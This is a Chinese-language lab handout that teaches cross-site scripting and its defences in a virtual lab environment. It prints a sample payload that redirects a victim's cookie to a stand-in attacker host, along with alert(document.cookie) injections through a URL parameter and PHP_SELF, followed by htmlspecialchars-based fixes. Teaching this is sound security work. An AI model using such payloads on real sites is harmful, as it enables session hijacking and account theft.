摘要: 课程编写类别

 课程编写

类别

内容

实验课题名称

XSS -跨网站脚本攻击

实验目的与要求

1.了解XSS -跨网站脚本攻击带来的危险性。

2.掌握XSS -跨网站脚本攻击的原理与方法

3.掌握防范攻击的方法

实验环境

VPC1(虚拟PC

Windows server 2003

VPC1 连接要求

PC 网络接口,本地连接与实验网络直连

软件描述

1、学生机要求安装java环境
2
vpc安装windwos 系统

实验环境描述

1、 学生机与实验室网络直连;

2、 VPC1与实验室网络直连;

3、 学生机与VPC1物理链路连通;

预备知识

    XSSCross Site Scripting的缩写,意思是跨网站脚本攻击,也有人称为跨网站攻击或跨网页攻击. Cross Site Scripting的缩写原本应该是CSS,但为了与CSS排版样本(Cascading Style Sheet)进行区别,因此缩写改成XSS

    几乎所有的Web应用程序都用cookie来保存特定用户的账号与密码等信息。例如电子邮件信箱、购物、音乐下载及银行等网站,都是使用cookie来进行用户身份认证的。

    跨网站脚本攻击是最常被黑客用来攻击Web应用程序的方式,黑客最主要的目的就是读取网站用户的cookie或是其他隐私数据。这些cookie或隐私数据包含应用程序的登录设置、重要的网页文件位置、用户的账号、密码、信用卡号,甚至银行账户的存提款记录等。

    一旦黑客取得了网站用户的账号与密码等记录,他就可以伪装这个目标用户的身份来登录网站。读取用户的电子邮件,使用信用卡号来购物付款,甚至提领目标用户的银行存款。

    跨网站脚本攻击之所以会发生,是因为网站的Web应用程序对用户的输入数据没有进行检验。黑客将攻击用的JavaScript程序代码加在HTTP链接的后面,Web应用程序直接执行这个HTTP链接,因而让攻击用的JavaScript程序代码被启动。

    要启动跨网站脚本攻击时,黑客会发送类似下面的HTTP链接给目标用户:http://www.vulnerable.site/index.php?user=<script>document.location=

"http://www.atacker.site/get.php?cookie="+document.cookie;</script>

    www.vulnerable.site是一个有XSS漏洞的网站,而目标用户不幸就是这个网站的会员。这个网站的index.php网页会读取URL参数user的值来当做用户的账号。

    黑客在URL参数user的后面加上JavaScript程序代码:

user=<script>document.location="http://www.atacker.site/get.php?cookie="+document.cookie;</script>

    当有XSS漏洞的网站读取了user的值,并且使用echo等函数来输出到屏幕时,隐藏在user后面的JavaScript程序代码就会被执行。

    首先,document.location用来将目标用户的浏览器地址跳转到www.atacker.site

get.php网页,www.atacker.site是黑客的网站。get.php网页的URL参数cookie的值document.cookie就是目标用户的cookie值,黑客因此能够取得目标用户的cookie数据。

    这段JavaScript代码就是一段跨网站脚本,因为它会跨过有XSS漏洞的网站来对目标用户进行攻击。有XSS漏洞的网站与目标用户都不知道发生过什么事情,目标用户的cookie数据就莫名其妙地被黑客获取了。

    黑客发送给目标用户的HTTP链接可能会隐藏在电子邮件或图片中,目标用户没有多加留意就单击了这个HTTP链接,因而执行了HTTP链接中的JavaScript代码,让黑客获得目标用户的cookie数据。

跨网站脚本攻击的步骤如图所示。

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

实验内容

 

1.了解XSS -跨网站脚本攻击带来的危险性。

2.掌握XSS -跨网站脚本攻击的原理与方法

3.掌握防范攻击的方法

实验步骤

 

1、 学生单击实验拓扑按钮,进入实验场景,进入目标主机,(第一次启动目标主机,还需要安装java控件),如图所示:

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

2.打开虚拟机,输入用户名和密码,用户为Adminsitrator 密码为 123456

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

3.打开浏览器,输入http://localhost:8080/example_code/ 如图:

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

4、找到“(4)跨网站脚本攻击(Cross Site Script,XSS)”项,并点击打开,如图1

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

5、开始攻击

 

攻击一:

打开“演示1”,以用户名daniel,密码123456登录,然后点击登录,如图2

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

6、会出现提示信息,是否记住密码,可以选择是也可以选择否,这里我们选择否,并勾选上“不在保存密码”。如图:

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

7、使用者的账号已经使用隐藏字段user保存起来,你将会看到如下效果,如图3

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

8、然后开始攻击,打开“攻击1”开始攻击,浏览器地址栏里就会显示显示出user的信息,如图4

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

9、攻击二:

打开“攻击2”,点击“点击这里”链接,浏览器就会弹出一个框,显示用户的用户名以及密码,如下图:

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

注:如果单击超链接后没有显示对话框,请您检查下列两个事项:

(1)  检查Internet Explorer的活动脚本功能是否打开。如果活动脚本功能没有打开,就无法执行网页中的Javascript代码。

(2)  检查PHPphp.ini文件中的magic_quotes_gpc的设置值是否设置为Off

 

10、相对“攻击2”的防护如下:

 

点击“防护2”然后点击点击这里,就会执行下列的HTTP链接:

http://localhost:8080/example_code/source/code4/ex4-2.php?user=<script>alert(document.cookie);</script>

此跨网站脚本会变成普通的字符串,而不是能够在客户端执行的JavaScript代码。效果如图所示:

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

htmlspecialchars函数将<script>alert(document.cookie);</script>转换成:

&lt;script&gt;alert(document.cookie);&lt;/script&gt

●  “<”字符被转换成HTML字符码&lt

●  “>”字符被转换成HTML字符码&gt

 

由于htmlspecialchars函数的作用,在c:\xampp\htdocs\example_code\source\code4\ex4-2-attack-1.html文件中的隐藏跨网站脚本的HTTP链接:<script>alert(document.cookie);</script>

会被当成普通的字符串来显示,而不再是可以执行的JavaScript代码。

 

11、攻击三:

 

点击“攻击3”地址就转到 http://localhost:8080/example_code/source/code4/ex4-3-attack.html如图:

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

 

 

12、然后点击“点击这里”地址跳转到一下地址:

 http://localhost:8080/example_code/source/code4/ex4-3.php/%22><script>alert(document.cookie);</script>

执行结果如下图所示。

 

课程名称:L003001005-HTTP攻击与防范-跨网站脚本攻击-林小屋博客

在这里又出现了对话框,显示了使用者刚才输入的账号与密码。

 

13、防护方法

1)拆解<form>标签的内容

现在我们来看看ex4-3.php<form>标签的内容:

      <form action=" example_code/source/code4/ex4-3.php/"><script>alert(document.cookie);</script>" method="post">

这可以分解成3部分。

        (1) <form action=" example_code/source/code4/ex4-3.php/">:这是<form>标签现在的内容,只剩下action属性,method属性已经不见了。

        (2)  <script>alert(document.cookie);</script>:这是可执行的JavaScript代码。

        (3)"method="post">:这是剩下的没有意义的字符串。

 

2)避免$_SERVER["PHP_SELF"]被篡改可以加上htmlspecialchars函数

    源码请查看:C:/xampp/htdocs/example_code/source/code4/ex4-4.php

    基本上如果是将表单数据传送给同一个文件处理时:<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">action属性是不需要的,将action属性设置为空字符串:<form action="" method="post">就可以直接避免$_SERVER["PHP_SELF"]服务器变量被跨网站脚本篡改的问题。

 

14、实验完毕,关闭虚拟机和所有窗口。